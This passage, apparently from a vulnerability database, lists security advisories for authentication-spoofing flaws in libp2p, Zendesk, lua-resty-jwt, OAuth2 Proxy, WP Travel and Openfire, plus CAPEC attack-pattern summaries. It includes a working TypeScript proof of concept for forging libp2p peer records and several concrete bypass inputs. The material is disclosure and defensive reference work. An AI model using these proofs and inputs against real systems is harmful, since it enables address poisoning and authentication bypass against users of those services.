  console.log(`attacker signer: ${attacker}`)
  console.log(`victim storage key: ${victim}`)
  console.log(`stored certified address: ${attackerAddr}`)
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

Certified peer-record address hijack reproduced
attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
stored certified address: /ip4/203.0.113.66/tcp/4001

Impact

Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/peer-store"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "12.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T18:01:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n  throw new InvalidMessageError(\u0027signing key does not match PeerId in the PeerRecord\u0027)\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair } from \u0027@libp2p/crypto/keys\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { PeerRecord, RecordEnvelope } from \u0027@libp2p/peer-record\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { multiaddr } from \u0027@multiformats/multiaddr\u0027\nimport { MemoryDatastore } from \u0027datastore-core/memory\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\n\nconst label = \u0027Certified peer-record address hijack\u0027\n\nasync function main (): Promise\u003cvoid\u003e {\n  const localKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const victimKey = await generateKeyPair(\u0027Ed25519\u0027)\n\n  const attacker = peerIdFromPrivateKey(attackerKey)\n  const victim = peerIdFromPrivateKey(victimKey)\n  const attackerAddr = multiaddr(\u0027/ip4/203.0.113.66/tcp/4001\u0027)\n\n  const peerStore = persistentPeerStore({\n    peerId: peerIdFromPrivateKey(localKey),\n    datastore: new MemoryDatastore(),\n    events: new TypedEventEmitter(),\n    logger: defaultLogger()\n  })\n\n  // Payload claims victim, but the envelope is signed by attacker.\n  const forgedRecord = new PeerRecord({\n    peerId: victim,\n    multiaddrs: [attackerAddr],\n    seqNumber: 999999n\n  })\n  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n    expectedPeer: attacker\n  })\n\n  assert.equal(accepted, true)\n\n  const poisonedVictim = await peerStore.get(victim)\n  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) =\u003e ({\n    multiaddr: multiaddr.toString(),\n    isCertified\n  })), [{\n    multiaddr: attackerAddr.toString(),\n    isCertified: true\n  }])\n\n  console.log(`${label} reproduced`)\n  console.log(`attacker signer: ${attacker}`)\n  console.log(`victim storage key: ${victim}`)\n  console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.",
  "id": "GHSA-vrf4-mx87-p53w",
  "modified": "2026-09-17T18:01:38Z",
  "published": "2026-09-17T18:01:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses"
}

GHSA-VV5G-XQ9C-77W7

Vulnerability from github – Published: 2024-10-12 15:30 – Updated: 2024-10-16 21:31

Details

Zendesk before 2024-07-02 allows remote attackers to read ticket history via e-mail spoofing, because Cc fields are extracted from incoming e-mail messages and used to grant additional authorization for ticket viewing, the mechanism for detecting spoofed e-mail messages is insufficient, and the support e-mail addresses associated with individual tickets are predictable.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-49193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-12T14:15:02Z",
    "severity": "HIGH"
  },
  "details": "Zendesk before 2024-07-02 allows remote attackers to read ticket history via e-mail spoofing, because Cc fields are extracted from incoming e-mail messages and used to grant additional authorization for ticket viewing, the mechanism for detecting spoofed e-mail messages is insufficient, and the support e-mail addresses associated with individual tickets are predictable.",
  "id": "GHSA-vv5g-xq9c-77w7",
  "modified": "2024-10-16T21:31:07Z",
  "published": "2024-10-12T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49193"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=41818459"
    },
    {
      "type": "WEB",
      "url": "https://x.com/hackermondev/status/1844877950698537323"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVPG-5WFC-53JJ

Vulnerability from github – Published: 2024-04-24 06:30 – Updated: 2024-07-03 18:36

Details

cdbattags lua-resty-jwt 0.2.3 allows attackers to bypass all JWT-parsing signature checks by crafting a JWT with an enc header with the value A256GCM.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-33531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T06:15:14Z",
    "severity": "HIGH"
  },
  "details": "cdbattags lua-resty-jwt 0.2.3 allows attackers to bypass all JWT-parsing signature checks by crafting a JWT with an enc header with the value A256GCM.",
  "id": "GHSA-vvpg-5wfc-53jj",
  "modified": "2024-07-03T18:36:46Z",
  "published": "2024-04-24T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33531"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cdbattags/lua-resty-jwt/issues/61"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cdbattags/lua-resty-jwt/commit/d1558e2afefe868fea1e7e9a4b04ea94ab678a85"
    },
    {
      "type": "WEB",
      "url": "https://insinuator.net/2023/10/lua-resty-jwt-authentication-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVQV-7VRF-88VH

Vulnerability from github – Published: 2026-08-24 18:31 – Updated: 2026-08-24 18:31

Details

OAuth2 Proxy honours a client-supplied X-Forwarded-Uri header when deciding whether a request may skip authentication, because the guard added for CVE-2026-40575 is inert in the default reverse-proxy configuration. GetRequestURI in pkg/requests/util/util.go prefers that header over the real request URI whenever CanTrustForwardedHeaders returns true, and isAllowedPath in oauthproxy.go matches the skip_auth_routes and skip_auth_regex allow list against the resulting path. CanTrustForwardedHeaders in pkg/apis/middleware/scope.go grants that trust when the caller's address is in the trusted proxy set, and buildTrustedProxyNetSet falls back to defaultTrustedProxyIPs, which is 0.0.0.0/0 and ::/0, whenever reverse proxy mode is enabled without trusted_proxy_ip configured. Every client is therefore treated as a trusted proxy. An unauthenticated attacker can request a protected upstream path while setting X-Forwarded-Uri to a value matching an allow-listed route, so the skip-auth decision is made against the spoofed value while the upstream receives the protected path unchanged.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-76835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-24T18:17:21Z",
    "severity": "CRITICAL"
  },
  "details": "OAuth2 Proxy honours a client-supplied X-Forwarded-Uri header when deciding whether a request may skip authentication, because the guard added for CVE-2026-40575 is inert in the default reverse-proxy configuration. GetRequestURI in pkg/requests/util/util.go prefers that header over the real request URI whenever CanTrustForwardedHeaders returns true, and isAllowedPath in oauthproxy.go matches the skip_auth_routes and skip_auth_regex allow list against the resulting path. CanTrustForwardedHeaders in pkg/apis/middleware/scope.go grants that trust when the caller\u0027s address is in the trusted proxy set, and buildTrustedProxyNetSet falls back to defaultTrustedProxyIPs, which is 0.0.0.0/0 and ::/0, whenever reverse proxy mode is enabled without trusted_proxy_ip configured. Every client is therefore treated as a trusted proxy. An unauthenticated attacker can request a protected upstream path while setting X-Forwarded-Uri to a value matching an allow-listed route, so the skip-auth decision is made against the spoofed value while the upstream receives the protected path unchanged.",
  "id": "GHSA-vvqv-7vrf-88vh",
  "modified": "2026-08-24T18:31:58Z",
  "published": "2026-08-24T18:31:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-7x63-xv5r-3p2x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76835"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy/issues/3506"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy/blob/v7.15.4/pkg/apis/middleware/scope.go"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/oauth2-proxy-through-authentication-bypass-via-x-forwarded-uri-under-the-default-trusted-proxy-set"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VX7Q-RHXW-6X3X

Vulnerability from github – Published: 2026-07-30 06:32 – Updated: 2026-07-30 18:31

Details

The WP Travel WordPress plugin before 11.8.1 does not verify PayPal Instant Payment Notifications through the PayPal post-back handshake before marking a booking paid, allowing unauthenticated attackers to forge a notification that flips an arbitrary pending booking to a paid and booked state at an attacker-chosen amount.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-13143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T06:24:58Z",
    "severity": "MODERATE"
  },
  "details": "The WP Travel  WordPress plugin before 11.8.1 does not verify PayPal Instant Payment Notifications through the PayPal post-back handshake before marking a booking paid, allowing unauthenticated attackers to forge a notification that flips an arbitrary pending booking to a paid and booked state at an attacker-chosen amount.",
  "id": "GHSA-vx7q-rhxw-6x3x",
  "modified": "2026-07-30T18:31:33Z",
  "published": "2026-07-30T06:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13143"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/21bc82e3-4568-4e01-8704-88a242743402"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W252-645G-87MP

Vulnerability from github – Published: 2025-09-16 01:54 – Updated: 2025-09-16 01:54

Summary

Openfire has potential identity spoofing issue via unsafe CN parsing

Details

Summary

Identity spoofing in X.509 client certificate authentication in Openfire allows internal attackers to impersonate other users via crafted certificate subject attributes, due to regex-based extraction of CN from an unescaped, provider-dependent DN string.

Analysis

Openfire’s SASL EXTERNAL mechanism for client TLS authentication contains a vulnerability in how it extracts user identities from X.509 certificates. Instead of parsing the structured ASN.1 data, the code calls X509Certificate.getSubjectDN().getName() and applies a regex to look for CN=. This method produces a provider-dependent string that does not escape special characters. In SunJSSE (sun.security.x509.X500Name), for example, commas and equals signs inside attribute values are not escaped.

As a result, a malicious certificate can embed CN= inside another attribute value (e.g. OU="CN=admin,"). The regex will incorrectly interpret this as a legitimate Common Name and extract admin. If SASL EXTERNAL is enabled and configured to map CNs to user accounts, this allows the attacker to impersonate another user.

Impact

When there is no explicit configuration override, Openfire defaults to using certificate attributes as follows:

Server-to-server certificates: first the Subject Alternative Name (SAN), and if that is not available, the Common Name (CN).
Client-to-server certificates: only the Common Name (CN).

Use of CN for identity mapping was phased out by the CA/Browser Forum. CAB Forum-compliant CAs no longer allow arbitrary Subject RDNs and always include SANs. As a result, certificates issued by public CAs for use on the open Internet are unlikely to be exploitable, though older certificates still within their validity period could theoretically be abused.

The primary risks exist in private CA environments and client certificate authentication, where identity mapping may rely solely on the CN. Both of these are niche deployment scenarios.

Patches

The path has been prepared by replacing the use of getSubjectDN().getName() with standards-compliant LdapName parsing of the RFC2253 representation of X500Principal. This avoids unescaped provider-dependent strings and prevents regex from matching malicious substrings.

The fix is included in Openfire 5.0.2 and 5.1.0. Users should upgrade to this version as soon as it becomes available.

Starting in Openfire 5.0.2, Openfire will by default prefer a Subject Alternative Name-based identity over a Common Name based one for client-to-server authentication (issue OF-3123). For server-to-server authentication, this already is the case.

In Openfire 5.1.0, Openfire will no longer, by default, use Common Name based identities, although this functionality can be restored through configuration changes (issue OF-3122).

Workarounds

The vulnerability is fixed in the upcoming release, but there are operational mitigations you can apply today.

Full workaround (drop-in replacement JAR using the fixed mapper)

This is a complete workaround: 1. Take the fixed mapper implementation (the code that uses LdapName / RFC2253 parsing) from the patched Openfire source. 2. Create a new Java class in your proprietary namespace (for example com.acme.openfire.SafeCNCertificateIdentityMapping) that implements the same Openfire certificate-identity mapping interface and contains the fixed parsing logic. Ensure the logic exactly mirrors the patched behavior (use X500Principal.getName() with RFC2253 and javax.naming.ldap.LdapName to parse RDNs, do not rely on getSubjectDN().getName() or provider-dependent strings). 3. Package the class into a JAR file. 4. Place the JAR into Openfire’s lib/ directory (e.g. $OPENFIRE_HOME/lib/your-fixed-mapper.jar). 5. Configure Openfire to use your class for mapping by setting the following properties (in the admin console / system properties). Note that it remains advisable to configure Openfire to keep preferring SAN-based identities:

# For server-to-server identity mapping
provider.serverCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping

# For client-to-server identity mapping
provider.clientCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping

Both properties accept a comma-separated list of fully-qualified class names; listing only your safe mapper forces Openfire to use your implementation instead of the vulnerable built-in mapper. After placing the JAR and updating properties, restart Openfire.

Notes & caveats for the full workaround

This is effectively a complete mitigation for the vulnerable CN-extraction behavior without deploying a new official release.
Maintain the JAR: you are responsible for keeping the custom class updated if you upgrade Openfire to newer major versions.
Ensure your custom mapper truly implements the patched parsing (do not copy the vulnerable getSubjectDN().getName() + regex approach). Use X500Principal → getName(RFC2253) → new LdapName(...) → iterate RDNs in a robust way.
Because this runs in the Openfire JVM, follow your organization’s binary-signing and review policies before deploying.

Other, lesser workarounds

Use SAN-only mapping

Configure the mapper list to only include Openfire’s SAN mapper: org.jivesoftware.util.cert.SANCertificateIdentityMapping. This prevents CN parsing-based spoofing but breaks authentication for certificates that contain only a CN and no SAN.

Disable certificate-based authentication:

For server-to-server, disabling certificate auth leaves only Server Dialback, which is less secure; depending on your environment, this may be a worse trade-off.
For client-to-server, disable “mutual authentication” in the admin console to stop client cert authentication altogether.

References

Openfire issue tracker: OF-3124: Potential identity spoofing via unsafe CN parsing
Affected code: CNCertificateIdentityMapping.java#L43
Openfire issue tracker: OF-3122: Stop by default using Common Name based identities
Openfire issue tracker: OF-3123: For client mutual authentication, prefer Subject Alternative Name for identities

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.igniterealtime.openfire:xmppserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-16T01:54:24Z",
    "nvd_published_at": "2025-09-15T20:15:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIdentity spoofing in X.509 client certificate authentication in Openfire allows internal attackers to impersonate other users via crafted certificate subject attributes, due to regex-based extraction of CN from an unescaped, provider-dependent DN string.\n\n## Analysis\n\nOpenfire\u2019s SASL EXTERNAL mechanism for client TLS authentication contains a vulnerability in how it extracts user identities from X.509 certificates. Instead of parsing the structured ASN.1 data, the code calls `X509Certificate.getSubjectDN().getName()` and applies a regex to look for `CN=`. This method produces a provider-dependent string that does not escape special characters. In SunJSSE (`sun.security.x509.X500Name`), for example, commas and equals signs inside attribute values are not escaped.\n\nAs a result, a malicious certificate can embed `CN=` inside another attribute value (e.g. `OU=\"CN=admin,\"`). The regex will incorrectly interpret this as a legitimate Common Name and extract admin. If SASL EXTERNAL is enabled and configured to map CNs to user accounts, this allows the attacker to impersonate another user.\n\n## Impact\n\nWhen there is no explicit configuration override, Openfire defaults to using certificate attributes as follows:\n\n- Server-to-server certificates: first the Subject Alternative Name (SAN), and if that is not available, the Common Name (CN).\n- Client-to-server certificates: only the Common Name (CN).\n\nUse of CN for identity mapping was phased out by the CA/Browser Forum. CAB Forum-compliant CAs no longer allow arbitrary Subject RDNs and always include SANs. As a result, certificates issued by public CAs for use on the open Internet are unlikely to be exploitable, though older certificates still within their validity period could theoretically be abused.\n\nThe primary risks exist in private CA environments and client certificate authentication, where identity mapping may rely solely on the CN. Both of these are niche deployment scenarios.\n\n## Patches\n\nThe path has been prepared by replacing the use of `getSubjectDN().getName()` with standards-compliant `LdapName` parsing of the RFC2253 representation of `X500Principal`. This avoids unescaped provider-dependent strings and prevents regex from matching malicious substrings.  \n\nThe fix is included in Openfire 5.0.2 and 5.1.0. Users should upgrade to this version as soon as it becomes available.  \n\nStarting in Openfire 5.0.2, Openfire will by default prefer a Subject Alternative Name-based identity over a Common Name based one for client-to-server authentication (issue OF-3123). For server-to-server authentication, this already is the case.\n\nIn Openfire 5.1.0, Openfire will no longer, by default, use Common Name based identities, although this functionality can be restored through configuration changes (issue OF-3122).\n \n## Workarounds\n\nThe vulnerability is fixed in the upcoming release, but there are operational mitigations you can apply today.\n\n### Full workaround (drop-in replacement JAR using the fixed mapper)\n _This is a complete workaround:_\n1. Take the fixed mapper implementation (the code that uses LdapName / RFC2253 parsing) from the patched Openfire source.\n2. Create a new Java class in your proprietary namespace (for example `com.acme.openfire.SafeCNCertificateIdentityMapping`) that implements the same Openfire certificate-identity mapping interface and contains the fixed parsing logic. Ensure the logic exactly mirrors the patched behavior (use `X500Principal.getName()` with RFC2253 and `javax.naming.ldap.LdapName` to parse RDNs, do not rely on `getSubjectDN().getName()` or provider-dependent strings).\n3. Package the class into a JAR file.\n4. Place the JAR into Openfire\u2019s lib/ directory (e.g. `$OPENFIRE_HOME/lib/your-fixed-mapper.jar`).\n5. Configure Openfire to use your class for mapping by setting the following properties (in the admin console / system properties). Note that it remains advisable to configure Openfire to keep preferring SAN-based identities:\n```\n# For server-to-server identity mapping\nprovider.serverCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping\n\n# For client-to-server identity mapping\nprovider.clientCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping\n```\nBoth properties accept a comma-separated list of fully-qualified class names; listing only your safe mapper forces Openfire to use your implementation instead of the vulnerable built-in mapper. After placing the JAR and updating properties, *restart Openfire*.\n\n**Notes \u0026 caveats for the full workaround**\n\n- This is effectively a complete mitigation for the vulnerable CN-extraction behavior without deploying a new official release.\n- Maintain the JAR: you are responsible for keeping the custom class updated if you upgrade Openfire to newer major versions.\n- Ensure your custom mapper truly implements the patched parsing (do not copy the vulnerable `getSubjectDN().getName()` + regex approach). Use `X500Principal` \u2192 `getName(RFC2253)` \u2192 `new LdapName(...)` \u2192 iterate RDNs in a robust way.\n- Because this runs in the Openfire JVM, follow your organization\u2019s binary-signing and review policies before deploying.\n\n### Other, lesser workarounds\n\n#### Use SAN-only mapping\nConfigure the mapper list to only include Openfire\u2019s SAN mapper: `org.jivesoftware.util.cert.SANCertificateIdentityMapping`. This prevents CN parsing-based spoofing but breaks authentication for certificates that contain only a CN and no SAN.\n\n#### Disable certificate-based authentication:\n- For server-to-server, disabling certificate auth leaves only Server Dialback, which is less secure; depending on your environment, this may be a worse trade-off.\n- For client-to-server, disable \u201cmutual authentication\u201d in the admin console to stop client cert authentication altogether.\n\n## References\n\n- Openfire issue tracker: [OF-3124: Potential identity spoofing via unsafe CN parsing](https://igniterealtime.atlassian.net/browse/OF-3124)\n- Affected code: [CNCertificateIdentityMapping.java#L43](https://github.com/igniterealtime/Openfire/blob/8d073dda36905da0fdee7cb623c025a01a5cbf6b/xmppserver/src/main/java/org/jivesoftware/util/cert/CNCertificateIdentityMapping.java#L43)  \n- Openfire issue tracker: [OF-3122: Stop by default using Common Name based identities](https://igniterealtime.atlassian.net/browse/OF-3122)\n- Openfire issue tracker: [OF-3123: For client mutual authentication, prefer Subject Alternative Name for identities](https://igniterealtime.atlassian.net/browse/OF-3123)",
  "id": "GHSA-w252-645g-87mp",
  "modified": "2025-09-16T01:54:24Z",
  "published": "2025-09-16T01:54:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/igniterealtime/Openfire/security/advisories/GHSA-w252-645g-87mp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59154"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/igniterealtime/Openfire"
    },
    {
      "type": "WEB",
      "url": "https://github.com/igniterealtime/Openfire/blob/8d073dda36905da0fdee7cb623c025a01a5cbf6b/xmppserver/src/main/java/org/jivesoftware/util/cert/CNCertificateIdentityMapping.java#L43"
    },
    {
      "type": "WEB",
      "url": "https://igniterealtime.atlassian.net/browse/OF-3122"
    },
    {
      "type": "WEB",
      "url": "https://igniterealtime.atlassian.net/browse/OF-3123"
    },
    {
      "type": "WEB",
      "url": "https://igniterealtime.atlassian.net/browse/OF-3124"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Openfire has potential identity spoofing issue via unsafe CN parsing"
}

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

